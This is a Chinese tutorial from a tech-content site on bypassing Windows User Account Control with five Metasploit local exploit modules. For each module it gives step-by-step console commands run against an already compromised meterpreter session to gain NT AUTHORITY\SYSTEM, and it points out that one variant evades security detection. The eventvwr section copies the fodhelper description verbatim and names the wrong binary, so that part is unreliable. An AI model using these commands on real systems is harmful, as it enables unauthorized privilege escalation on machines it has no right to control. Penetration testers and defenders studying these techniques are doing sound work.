Metasploit中怎么绕过UAC

发布时间:2021-08-03 15:58:37 作者:Leah
来源:亿速云 阅读:175

Metasploit中怎么绕过UAC,针对这个问题,这篇文章详细介绍了相对应的分析和解答,希望可以帮助更多想解决这个问题的小伙伴找到更简单易行的方法。

UAC简介

什么是用户帐户控制?

UAC是在Windows Vista及更高版本操作系统中采用的一种控制机制,它以预见的方式阻止不必要的系统范围更改。

换句话说,它是Windows的一项安全功能,支持你阻止任何对系统未经授权的更改操作行为。UAC确保仅在管理员授权的情况下进行某些更改。如果管理员不允许更改,则不会执行这些更改,并且Windows也不会发生任何的改变。

UAC是如何运作的?

一旦程序执行涉及系统更改/特定任务就会触发UAC。除非尝试执行它们的进程以管理员权限运行,否则这些操作都将被阻止。没有管理员权限将无法执行以下操作:

注册表修改(如果注册表项位于如HKEY_LOCAL_MACHINE下(因为它影响多个用户),它将是只读的)

加载设备驱动程序

DLL注入

修改系统时间(clock)

修改用户帐户控制设置(通过注册表可以启用/禁用它,但你需要正确的权限才能执行该操作)

修改受保护的目录(例如Windows文件夹,Program Files)

计划任务(例如,以管理员权限自启动)

注:UAC的作用并不是帮你阻止恶意软件或识别程序是否为恶意程序,这主要取决于用户。如果用户以管理员权限执行程序,UAC将提醒用户并要求用户提供确认。

5种绕过UAC的方法

首先,假设我们已获取目标系统的meterpreter shell,并得到了一个meterpreter session 1。然后,我们键入以下命令提权并查看权限。

getsystem

getuid

如果你并未取得system/admin权限,那你就要想办法绕过目标系统的UAC保护。

Windows提权UAC保护绕过

该模块将通过进程注入,利用受信任的发布者证书绕过Windows UAC。 它将为我们生成另一个关闭UAC的shell(session 2)。

msf > use exploit/windows/local/bypassuac
msf exploit windows/local/bypassuac) > set session 1
msf exploit(windows/local/bypassuac) > exploit

从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。

getsystem
getuid

可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。

Metasploit中怎么绕过UAC

Windows提权UAC保护绕过(内存注入)

该模块将通过进程注入,利用受信任的发布者证书绕过Windows UAC。 它将为我们生成另一个关闭UAC的shell(session 2)。该模块将直接运行在内存中的反射DLL中,由于它并不触碰硬盘,因此可以最大限度地降低被安全检测的概率。但该模块的使用需要选择正确的架构(对于SYSWOW64系统也是使用x64)。如果指定EXE::Custom DLL ,则应在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_injection
msf exploit(windows/local/bypassuac_injection) > set session 1
msf exploit(windows/local/bypassuac_injection) > exploit

从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。

getsystem
getuid

可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。

Metasploit中怎么绕过UAC

Windows提权UAC保护绕过(通过FodHelper注册表项

该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将为我们生成另一个关闭UAC的shell。虽然该模块修改了注册表,但它会在调用payload后清除该键。相比之前的模块,该模块对架构系统并无特别要求。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_fodhelper
msf exploit(windows/local/bypassuac_fodhelper) > set session 1
msf exploit(windows/local/bypassuac_fodhelper) > exploit

从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。

getsystem
getuid

 可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。

Metasploit中怎么绕过UAC

Windows提权UAC保护绕过(通过Eventvwr注册表项

该模块通过在当前用户配置单元下劫持注册表中的特殊键,并插入将在启动Windows fodhelper.exe应用程序时调用的自定义命令来绕过Windows 10 UAC。它将为我们生成另一个关闭UAC的shell。虽然该模块修改了注册表,但它会在调用payload后清除该键。相比之前的模块,该模块对架构系统并无特别要求。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。

msf > use exploit/windows/local/bypassuac_eventvwr
msf exploit(windows/local/bypassuac_eventvwr) > set session 1
msf exploit(windows/local/bypassuac_eventvwr) > exploit

从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。

getsystem
getuid

 可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。

Metasploit中怎么绕过UAC

Windows提权UAC保护绕过(COM处理程序劫持)

此模块将通过在HKCU配置单元中,创建COM处理程序注册表项来绕过Windows UAC。当加载某些高完整性进程时将会引用这些注册表项,从而导致进程加载用户控制的DLL。这些DLL中包含了可提升权限的payload。在调用payload后该模块将会清除该键。该模块的使用需要选择正确的架构,但在当前低权限的Meterpreter session下架构可以不同。如果指定EXE::Custom DLL,则应在单独的进程中启动payload后调用ExitProcess()。该模块需要通过目标系统上的cmd.exe来调用目标二进制文件,因此如果限制cmd.exe访问,则此模块将无法正常运行。

msf > use exploit/windows/local/bypassuac_comhijack
msf exploit(windows/local/bypassuac_comhijack) > set session 1
msf exploit(windows/local/bypassuac_comhijack) > exploit

从图片中可以看到meterpreter session 2已被打开,现在我们键入以下命令提权并查看权限。

getsystem
getuid

 可以看到我们已将权限提升为了NT AUTHORITY\SYSTEM。现在如果你输入“shell”命令,你将获得具有管理员权限的命令提示符。

Metasploit中怎么绕过UAC

关于Metasploit中怎么绕过UAC问题的解答就分享到这里了,希望以上内容可以对大家有一定的帮助,如果你还有很多疑惑没有解开,可以关注亿速云行业资讯频道了解更多相关知识。

推荐阅读:
  1. centos如何安装metasploit
  2. PowerShell禁用IEESC_UAC_Firewall

免责声明:本站发布的内容(图片、视频和文字)以原创、转载和分享为主,文章观点不代表本网站立场,如果涉及侵权请联系站长邮箱:is@yisu.com进行举报,并提供相关证据,一经查实,将立刻删除涉嫌侵权内容。

metasploit uac

上一篇:Linux中怎么使用Cron Jobs实现提权

下一篇:如何解决某些HTML字符打不出来的问题

相关阅读

您好,登录后才能下订单哦!

密码登录
登录注册
其他方式登录
点击 登录注册 即表示同意《亿速云用户服务条款》